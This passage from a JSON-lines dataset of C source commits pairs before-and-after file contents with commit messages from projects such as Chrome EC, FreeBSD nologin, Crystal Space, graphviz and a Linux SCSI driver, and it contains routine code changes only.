CHECK-WIN: private unnamed_addr constant [36 x i8] c\"\nextern void foo(const wchar_t* p);\nint main (int argc, const char * argv[])\n{\n foo(L\"This is some text\");\n return 0;\n}\n","subject":"Handle different sized wchar_t for windows.","message":"Handle different sized wchar_t for windows.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@136192 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"9ed5a4910c477f418ba200252cd6696339ee5ba5","old_file":"include\/tablet_mode.h","new_file":"include\/tablet_mode.h","old_contents":"\/* Copyright 2016 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/* Header for tablet_mode.c *\/\n\n#ifdef CONFIG_TABLET_MODE\n\n\/* Return 1 if in tablet mode, 0 otherwise *\/\nint tablet_get_mode(void);\nvoid tablet_set_mode(int mode);\n\n\/**\n * Interrupt service routine for hall sensor.\n *\n * HALL_SENSOR_GPIO_L must be defined.\n *\n * @param signal: GPIO signal\n *\/\nvoid hall_sensor_isr(enum gpio_signal signal);\n\n\/**\n * Disables the interrupt on GPIO connected to hall sensor. Additionally, it\n * disables the tablet mode switch sub-system and turns off tablet mode. This is\n * useful when the same firmware is shared between convertible and clamshell\n * devices to turn off hall sensor and tablet mode detection on clamshell.\n *\/\nvoid hall_sensor_disable(void);\n\n\/*\n * This must be defined when CONFIG_HALL_SENSOR_CUSTOM is defined. This allows\n * a board to override the default behavior that determines if the 360 sensor is\n * active: !gpio_get_level(HALL_SENSOR_GPIO_L).\n *\n * Returns 1 if the 360 sensor is active; otherwise 0.\n *\/\nint board_sensor_at_360(void);\n\n#endif\n","new_contents":"\/* Copyright 2016 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef __CROS_EC_TABLET_MODE_H\n#define __CROS_EC_TABLET_MODE_H\n\n\/**\n * Get tablet mode state\n *\n * Return 1 if in tablet mode, 0 otherwise\n *\/\nint tablet_get_mode(void);\n\n\/**\n * Set tablet mode state\n *\n * @param mode 1: tablet mode. 0 clamshell mode.\n *\/\nvoid tablet_set_mode(int mode);\n\n\/**\n * Interrupt service routine for hall sensor.\n *\n * HALL_SENSOR_GPIO_L must be defined.\n *\n * @param signal: GPIO signal\n *\/\nvoid hall_sensor_isr(enum gpio_signal signal);\n\n\/**\n * Disables the interrupt on GPIO connected to hall sensor. Additionally, it\n * disables the tablet mode switch sub-system and turns off tablet mode. This is\n * useful when the same firmware is shared between convertible and clamshell\n * devices to turn off hall sensor and tablet mode detection on clamshell.\n *\/\nvoid hall_sensor_disable(void);\n\n\/**\n * This must be defined when CONFIG_HALL_SENSOR_CUSTOM is defined. This allows\n * a board to override the default behavior that determines if the 360 sensor is\n * active: !gpio_get_level(HALL_SENSOR_GPIO_L).\n *\n * Returns 1 if the 360 sensor is active; otherwise 0.\n *\/\nint board_sensor_at_360(void);\n\n#endif  \/* __CROS_EC_TABLET_MODE_H *\/\n","subject":"Fix header file guard and API definitions","message":"tablet-mode: Fix header file guard and API definitions\n\nThis patch adds a usual inclusion guard (#ifdef __CROS_EC_*_H) and\nfixes API descriptions.\n\nSigned-off-by: Daisuke Nojiri <fd5f93af191bf7e8f73ea71cc3c0f66b41b1dd49@chromium.org>\n\nBUG=none\nBRANCH=none\nTEST=buildall\n\nChange-Id: I96149cfe76cff7ab85be4785252a600b565e4a92\nReviewed-on: https:\/\/chromium-review.googlesource.com\/c\/chromiumos\/platform\/ec\/+\/1696913\nReviewed-by: Daisuke Nojiri <fd5f93af191bf7e8f73ea71cc3c0f66b41b1dd49@chromium.org>\nCommit-Queue: Daisuke Nojiri <fd5f93af191bf7e8f73ea71cc3c0f66b41b1dd49@chromium.org>\nTested-by: Daisuke Nojiri <fd5f93af191bf7e8f73ea71cc3c0f66b41b1dd49@chromium.org>\nAuto-Submit: Daisuke Nojiri <fd5f93af191bf7e8f73ea71cc3c0f66b41b1dd49@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec"}
{"commit":"bac1e84578c9b1a9ddc961814db6d46cc03bfa6a","old_file":"demo\/src\/input.h","new_file":"demo\/src\/input.h","old_contents":"\/\/ Copyright 2020 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/    https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#pragma once\n\n#include <cstdint>\n\nuint32_t DoMath(uint32_t a);\n\nuint32_t DoMath(uint32_t a) {\n    return a * 3;\n}\n","new_contents":"\/\/ Copyright 2020 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/    https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#pragma once\n\n#include <cstdint>\n\nuint32_t DoMath(uint32_t a);\n\ninline uint32_t DoMath(uint32_t a) {\n    return a * 3;\n}\n","subject":"Fix another bug in demo","message":"Fix another bug in demo\n","lang":"C","license":"apache-2.0","repos":"google\/autocxx,google\/autocxx,google\/autocxx,google\/autocxx"}
{"commit":"87a6b78f84d1cc363fe7482ff0d7424a0477e26f","old_file":"include\/cssys\/mac\/osdefs.h","new_file":"include\/cssys\/mac\/osdefs.h","old_contents":"\/*\n    This header file contains all definitions needed for compatibility issues\n    Most of them should be defined only if corresponding SYSDEF_XXX macro is\n    defined (see system\/sysdef.h)\n *\/\n#ifndef OSDEFS_H\n#define OSDEFS_H\n\nint strcasecmp (const char *str1, const char *str2);\nint strncasecmp (char const *dst, char const *src, int maxLen);\nchar *strdup (const char *str);\n\n#ifdef SYSDEF_ACCESS\nint access (const char *path, int mode);\n#endif\n\n\/\/ The 2D graphics driver used by software renderer on this platform\n#define SOFTWARE_2D_DRIVER\t\"crystalspace.graphics2d.mac\"\n#define OPENGL_2D_DRIVER\t\"crystalspace.graphics2d.defaultgl\"\n#define GLIDE_2D_DRIVER\t\t\"crystalspace.graphics3d.glide.2x\"\n\n\/\/ Sound driver\n#define SOUND_DRIVER            \"crystalspace.sound.driver.mac\"\n\n#if defined (SYSDEF_DIR)\n#  define __NEED_GENERIC_ISDIR\n#endif\n\n#define PORT_BYTESEX_BIG_ENDIAN     1\n\n#endif \/\/ OSDEFS_H\n","new_contents":"\/*\n    This header file contains all definitions needed for compatibility issues\n    Most of them should be defined only if corresponding SYSDEF_XXX macro is\n    defined (see system\/sysdef.h)\n *\/\n#ifndef OSDEFS_H\n#define OSDEFS_H\n\nint strcasecmp (const char *str1, const char *str2);\nint strncasecmp (char const *dst, char const *src, int maxLen);\nchar *strdup (const char *str);\n\n#ifdef SYSDEF_ACCESS\nint access (const char *path, int mode);\n#endif\n\n\/\/ The 2D graphics driver used by software renderer on this platform\n#define SOFTWARE_2D_DRIVER\t\"crystalspace.graphics2d.mac\"\n#define OPENGL_2D_DRIVER\t\"crystalspace.graphics2d.defaultgl\"\n#define GLIDE_2D_DRIVER\t\t\"crystalspace.graphics3d.glide.2x\"\n\n\/\/ Sound driver\n#define SOUND_DRIVER            \"crystalspace.sound.driver.mac\"\n\n#if defined (SYSDEF_DIR)\n#  define __NEED_GENERIC_ISDIR\n#endif\n\n#define PORT_BYTESEX_BIG_ENDIAN     1\n\n\n#ifdef SYSDEF_2DDRIVER_DEFS\n#define kArrowCursor\t\t\t\t128\n\n#define kGeneralErrorDialog\t\t\t1026\n#define kAskForDepthChangeDialog\t1027\n\n#define kErrorStrings\t\t\t\t1025\n#define kBadDepthString\t\t\t\t1\n#define kNoDSContext\t\t\t\t2\n#define kUnableToOpenDSContext\t\t3\n#define kUnableToReserveDSContext\t4\n#define kFatalErrorInGlide\t\t\t5\n#define kFatalErrorInOpenGL2D\t\t6\n#define kFatalErrorInOpenGL3D\t\t7\n#define kFatalErrorOutOfMemory\t\t8\n#define kFatalErrorInDriver2D\t\t9\n#endif\n\n#endif \/\/ OSDEFS_H\n","subject":"Move defines for error strings and dialogs into this file for central tracking of ids.","message":"Move defines for error strings and dialogs into this file for central tracking of ids.\n\n\ngit-svn-id: 28d9401aa571d5108e51b194aae6f24ca5964c06@483 8cc4aa7f-3514-0410-904f-f2cc9021211c\n","lang":"C","license":"lgpl-2.1","repos":"crystalspace\/CS,crystalspace\/CS,crystalspace\/CS,crystalspace\/CS,crystalspace\/CS,crystalspace\/CS,crystalspace\/CS,crystalspace\/CS"}
{"commit":"887dcc7e13093e76d9d5adba4c16d9a376926940","old_file":"gyro-debug.c","new_file":"gyro-debug.c","old_contents":"","new_contents":"#pragma config(Sensor, S1,     gyro,           sensorI2CHiTechnicGyro)\n\n#define TIME_MAX 0xFFFF\n\nbool initialized = false;\nunsigned long lastUpdate = 0;\n\nlong getTimeDelta() {\n\tif (!initialized) {\n\t\tinitialized = true;\n\t\tlastUpdate = nSysTime;\n\t\treturn 0;\n\t}\n\n\tlong delta;\n\n\tif (nSysTime < lastUpdate) {\n\t\t\/\/ The time has looped around\n\t\tdelta = TIME_MAX - lastUpdate + nSysTime;\n\t\tlastUpdate = nSysTime;\n\t} else {\n\t\tdelta = nSysTime - lastUpdate;\n\t\tlastUpdate = nSysTime;\n\t}\n\n\treturn delta;\n}\n\ntask main() {\n\n\tint zero = 0;\n\tfloat angle = 0;\n\n\t\/\/ Find the zero\n\tfor (int i = 0; i < 10; i++) {\n\t\tzero += SensorValue[gyro];\n\t\twait1Msec(100);\n\t}\n\tzero \/= 10;\n\n\twhile(true) {\n\t\tangle += ((SensorValue[gyro]) - zero) * getTimeDelta() \/ 1000.0;\n\n\t\tnxtDisplayTextLine(0, \"%d\", SensorValue[gyro]);\n\t\tnxtDisplayTextLine(1, \"%.4f\", angle);\n\t\tnxtDisplayTextLine(2, \"%d\", zero);\n\t}\n}\n","subject":"Add gyro sensor debug program","message":"Add gyro sensor debug program\n","lang":"C","license":"mit","repos":"patrickmess\/ftc-2013,patrickmess\/ftc-2013"}
{"commit":"96dea463e3cb261eb2625dc96a90b4993178580b","old_file":"usr.sbin\/nologin\/nologin.c","new_file":"usr.sbin\/nologin\/nologin.c","old_contents":"\/*-\n * This program is in the public domain.  I couldn't bring myself to\n * declare Copyright on a variant of Hello World.\n *\/\n\n#include <sys\/cdefs.h>\n__FBSDID(\"$FreeBSD$\");\n\n#include <sys\/types.h>\n#include <sys\/uio.h>\n#include <syslog.h>\n#include <unistd.h>\n\n#define\tMESSAGE\t\"This account is currently not available.\\n\"\n\nint\nmain(int argc, char *argv[])\n{\n#ifndef NO_NOLOGIN_LOG\n\tchar *user, *tt;\n\n\tif ((tt = ttyname(0)) == NULL)\n\t\ttt = \"UNKNOWN\";\n\tif ((user = getlogin()) == NULL)\n\t\tuser = \"UNKNOWN\";\n\n\topenlog(\"nologin\", LOG_CONS, LOG_AUTH);\n\tsyslog(LOG_CRIT, \"Attempted login by %s on %s\", user, tt);\n\tcloselog();\n#endif \/* NO_NOLOGIN_LOG *\/\n\n\twrite(STDOUT_FILENO, MESSAGE, sizeof(MESSAGE) - 1);\n\t_exit(1);\n}\n","new_contents":"\/*-\n * Copyright (c) 2004 The FreeBSD Project.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\/\n\n#include <sys\/cdefs.h>\n__FBSDID(\"$FreeBSD$\");\n\n#include <stdio.h>\n#include <syslog.h>\n#include <unistd.h>\n\n#define\tMESSAGE\t\"This account is currently not available.\\n\"\n\nint\nmain(int argc, char *argv[])\n{\n\tchar *user, *tt;\n\n\tif ((tt = ttyname(0)) == NULL)\n\t\ttt = \"UNKNOWN\";\n\tif ((user = getlogin()) == NULL)\n\t\tuser = \"UNKNOWN\";\n\topenlog(\"nologin\", LOG_CONS, LOG_AUTH);\n\tsyslog(LOG_CRIT, \"Attempted login by %s on %s\", user, tt);\n\tcloselog();\n\n\tprintf(\"%s\", MESSAGE);\n\treturn 1;\n}\n","subject":"Add standard copyright notice; fix style bugs. (Reported by bde) Remove NO_NOLOGIN_LOG option now that we're off the root partition.","message":"Add standard copyright notice; fix style bugs.  (Reported by bde)\nRemove NO_NOLOGIN_LOG option now that we're off the root partition.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"38ee400049d579c60f3e0ddfb6c388093d53ac7a","old_file":"Josh_Zane_Sebastian\/src\/parser\/parser.c","new_file":"Josh_Zane_Sebastian\/src\/parser\/parser.c","old_contents":"#include types.c\n#include <string.h>\n\n\/* We can:\n   Set something equal to something\n   Function calls\n   Function definitions\n   Returning things -- delimiter '<'\n   Printing things\n   Iffing *\/\n\nstruct call parseCall(char* statement);\nstruct function parseFunction(char* statement);\n\nchar* fixSpacing(char* code) {\n  char* fixedCode = calloc(sizeof(char), strlen(code) + 1);\n  fixedCode = strcpy(fixedCode, code);\n  int n = strlen(fixedCode);\n  char* doubleSpace = strstr(fixedCode, \"  \");\n  char* movingIndex;\n  for( ; doubleSpace; doubleSpace = strstr(fixedCode, \"  \")) {\n    for(movingIndex = doubleSpace; movingIndex&; movingIndex++) {\n      movingIndex[0] = movingIndex[1];\n    }\n  }\n  return fixedCode;\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include types.c\n#include <string.h>\n\n\/* We can:\n   Set something equal to something\n   Function calls\n   Function definitions\n   Returning things -- delimiter '<'\n   Printing things\n   Iffing *\/\n\nstruct call parseCall(char* statement);\nstruct function parseFunction(char* statement);\n\nchar* fixSpacing(char* code) {\n  char* fixedCode = calloc(sizeof(char), strlen(code) + 1);\n  fixedCode = strcpy(fixedCode, code);\n  char* doubleSpace = strstr(fixedCode, \"  \");\n  char* movingIndex;\n  for( ; doubleSpace; doubleSpace = strstr(fixedCode, \"  \")) {\n    for(movingIndex = doubleSpace; movingIndex&; movingIndex++) {\n      movingIndex[0] = movingIndex[1];\n    }\n  }\n  return fixedCode;\n}\n\nstruct statement* parse(char* code) {\n  char* regCode = fixSpacing(code);\n  int n = 0;\n  int i;\n  for(i = 0; regCode[i]; i++) {\n    if(regCode[i] == ' ') {\n      n++;\n    }\n  }\n  char** spcTokens = calloc(sizeof(char*), n+1);\n","subject":"Make parse() count the spaces in the regularized code string.","message":"Make parse() count the spaces in the regularized code string.\n","lang":"C","license":"mit","repos":"aacoppa\/final,aacoppa\/final"}
{"commit":"2567fa8188b27b97d550c546f7a83211940e91a1","old_file":"src\/feng_utils.h","new_file":"src\/feng_utils.h","old_contents":"\/* *\n * This file is part of Feng\n *\n * Copyright (C) 2009 by LScube team <team@lscube.org>\n * See AUTHORS for more details\n *\n * feng is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * feng is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with feng; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\n * *\/\n\n#ifndef FN_UTILS_H\n#define FN_UTILS_H\n\n#include \"config.h\"\n\n#include <time.h>\n#include <sys\/time.h>\n#include <ctype.h>\n#include <stdint.h>\n#include <sys\/types.h>\n#include <math.h>\n#include <string.h>\n\n\/*! autodescriptive error values *\/\n#define ERR_NOERROR              0\n#define ERR_GENERIC             -1\n#define ERR_ALLOC               -4\n\n#endif \/\/ FN_UTILS_H\n","new_contents":"\/* *\n * This file is part of Feng\n *\n * Copyright (C) 2009 by LScube team <team@lscube.org>\n * See AUTHORS for more details\n *\n * feng is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * feng is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with feng; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\n * *\/\n\n#ifndef FN_UTILS_H\n#define FN_UTILS_H\n\n#include \"config.h\"\n\n#include <time.h>\n#include <sys\/time.h>\n#include <ctype.h>\n#include <stdint.h>\n#include <sys\/types.h>\n#include <math.h>\n#include <string.h>\n\n#endif \/\/ FN_UTILS_H\n","subject":"Remove the remaining ERR_ constants that are never used or tested for.","message":"Remove the remaining ERR_ constants that are never used or tested for.\n","lang":"C","license":"lgpl-2.1","repos":"winlinvip\/feng,lscube\/feng,winlinvip\/feng,lscube\/feng,winlinvip\/feng,lscube\/feng"}
{"commit":"ba6d38ac0611239a1fa7d05b9c915dbff201c082","old_file":"ext\/librtlsdr\/librtlsdr.c","new_file":"ext\/librtlsdr\/librtlsdr.c","old_contents":"#include \"ruby.h\"\n#include \"rtl-sdr.h\"\n\nVALUE m_turtleshell = Qnil;\nstatic VALUE m_rtlsdr;\n\nstatic VALUE turtleshell_count() {\n  return INT2NUM(rtlsdr_get_device_count());\n}\n\nstatic VALUE turtleshell_new_device() {\n  char *name;\n  rtlsdr_dev_t *device = NULL;\n  int count = rtlsdr_get_device_count();\n\n  \/\/ ensure we have at least one device\n  if (!count) { return Qnil; }\n\n  name = rtlsdr_get_device_name(0);\n  device = rtlsdr_open(&device, 0);\n\n  VALUE device_hash = rb_hash_new();\n  rb_hash_aset(device_hash, rb_str_new2(\"name\"), rb_str_new2(rtlsdr_get_device_name(0)));\n  rb_hash_aset(device_hash, rb_str_new2(\"device_handle\"), device);\n\n  return device_hash;\n}\n\nvoid Init_librtlsdr() {\n  m_turtleshell = rb_define_module(\"TurtleShell\");\n  m_rtlsdr = rb_define_module_under(m_turtleshell, \"RTLSDR\");\n  rb_define_module_function(m_rtlsdr, \"count\", turtleshell_count, 0);\n  rb_define_module_function(m_rtlsdr, \"first_device\", turtleshell_new_device, 0);\n}\n","new_contents":"#include \"ruby.h\"\n#include \"rtl-sdr.h\"\n\nVALUE m_turtleshell = Qnil;\nVALUE c_device;\nstatic VALUE m_rtlsdr;\n\nstatic VALUE turtleshell_count() {\n  return INT2NUM(rtlsdr_get_device_count());\n}\n\nstatic VALUE turtleshell_new_device() {\n  rtlsdr_dev_t *device = NULL;\n  VALUE wrapped_device;\n  VALUE hash;\n  int count = rtlsdr_get_device_count();\n\n  \/\/ ensure we have at least one device\n  if (!count) { return Qnil; }\n\n  device = rtlsdr_open(&device, 0);\n  wrapped_device = Data_Wrap_Struct(c_device, NULL, NULL, device);\n\n  hash = rb_hash_new();\n  rb_hash_aset(hash, rb_str_new2(\"name\"), rb_str_new2(rtlsdr_get_device_name(0)));\n  rb_hash_aset(hash, rb_str_new2(\"device_handle\"), wrapped_device);\n\n  return hash;\n}\n\nvoid Init_librtlsdr() {\n  m_turtleshell = rb_define_module(\"TurtleShell\");\n  m_rtlsdr = rb_define_module_under(m_turtleshell, \"RTLSDR\");\n  c_device = rb_define_class_under(m_rtlsdr, \"Device\", rb_cObject);\n  rb_define_module_function(m_rtlsdr, \"count\", turtleshell_count, 0);\n  rb_define_module_function(m_rtlsdr, \"first_device\", turtleshell_new_device, 0);\n}\n","subject":"Fix a few warnings that prevented Travis from compiling","message":"Fix a few warnings that prevented Travis from compiling\n","lang":"C","license":"mit","repos":"tjarratt\/turtleshell,tjarratt\/turtleshell"}
{"commit":"e4cb644925142ac45cdfb70244a2751f6cab1e21","old_file":"backend-test.c","new_file":"backend-test.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\n#include \"expression.h\"\n#include \"stream.h\"\n#include \"parser.h\"\n#include \"analyze.h\"\n#include \"generator.h\"\n#include \"backend.h\"\n#include \"optimize.h\"\n\nint main(int argc, char *argv[]) {\n  if (argc < 3) {\n    fprintf(stderr, \"usage: backend-test <input-file> <output-file>\\n\");\n    exit(1);\n  }\n  FILE *src = fopen(argv[1], \"r\");\n  if (src == NULL) {\n    fprintf(stderr, \"backend-test: no such file or directory\\n\");\n    return 1;\n  }\n  stream *in = open_stream(src);\n  block_statement *block = parse(in);\n  close_stream(in);\n  fclose(src);\n\n  analyze(block);\n  code_system *system = generate(block);\n  optimize(system);\n\n  FILE *out = fopen(argv[2], \"w\");\n  if (out == NULL) {\n    fprintf(stderr, \"backend-test: error opening output-file\\n\");\n    return 1;\n  }\n\n  backend_write(system, out);\n\n  fflush(out);\n  fclose(out);\n\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\n#include \"expression.h\"\n#include \"stream.h\"\n#include \"parser.h\"\n#include \"analyze.h\"\n#include \"generator.h\"\n#include \"backend.h\"\n#include \"optimize.h\"\n\nint main(int argc, char *argv[]) {\n  if (argc < 3) {\n    fprintf(stderr, \"usage: backend-test <input-file> <output-file>\\n\");\n    return 1;\n  }\n  FILE *src = fopen(argv[1], \"r\");\n  if (src == NULL) {\n    fprintf(stderr, \"backend-test: no such file or directory\\n\");\n    return 1;\n  }\n  stream *in = open_stream(src);\n  block_statement *block = parse(in);\n  close_stream(in);\n  fclose(src);\n\n  analyze(block);\n  code_system *system = generate(block);\n  optimize(system);\n\n  FILE *out = fopen(argv[2], \"w\");\n  if (out == NULL) {\n    fprintf(stderr, \"backend-test: error opening output-file\\n\");\n    return 1;\n  }\n\n  backend_write(system, out);\n\n  fflush(out);\n  fclose(out);\n\n  return 0;\n}\n","subject":"Return with exit code from main functions","message":"Return with exit code from main functions\n\nSigned-off-by: Eli Skeggs <5085073edea185966a30aad7f06b91f6997b42e5@gmail.com>\n","lang":"C","license":"mit","repos":"bearhub\/cub,bearhub\/cub,bearhub\/cub,bearhub\/cub"}
{"commit":"5b84323c7ee21aa7f54fc912d8ef5c8d128ff3ca","old_file":"compat.h","new_file":"compat.h","old_contents":"","new_contents":"#ifndef COMPAT_H\n#define COMPAT_H\n#ifndef HAVE_STRCASECMP\nextern int strcasecmp(const char*, const char*);\n#endif\n#ifndef HAVE_STRNCASECMP\nextern int strncasecmp(const char*, const char*, unsigned int);\n#endif\n#endif\n","subject":"Add include file for standard unix functions we have to provide for systems like Windows","message":"Add include file for standard unix functions we have to provide\nfor systems like Windows\n","lang":"C","license":"epl-1.0","repos":"tkelman\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,tkelman\/graphviz,ellson\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,ellson\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,kbrock\/graphviz,tkelman\/graphviz,ellson\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,kbrock\/graphviz,ellson\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,ellson\/graphviz"}
{"commit":"4b6c83f57874c2ac10b450ba0f57db0a0f22db67","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2006 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k1\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2006 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k2\"\n","subject":"Update driver version to 5.02.00-k2","message":"[SCSI] qla4xxx: Update driver version to 5.02.00-k2\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: Ravi Anand <399b6871085291e2c1578e38a71f59e8d20fafc0@qlogic.com>\nSigned-off-by: James Bottomley <407b36959ca09543ccda8f8e06721c791bc53435@suse.de>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
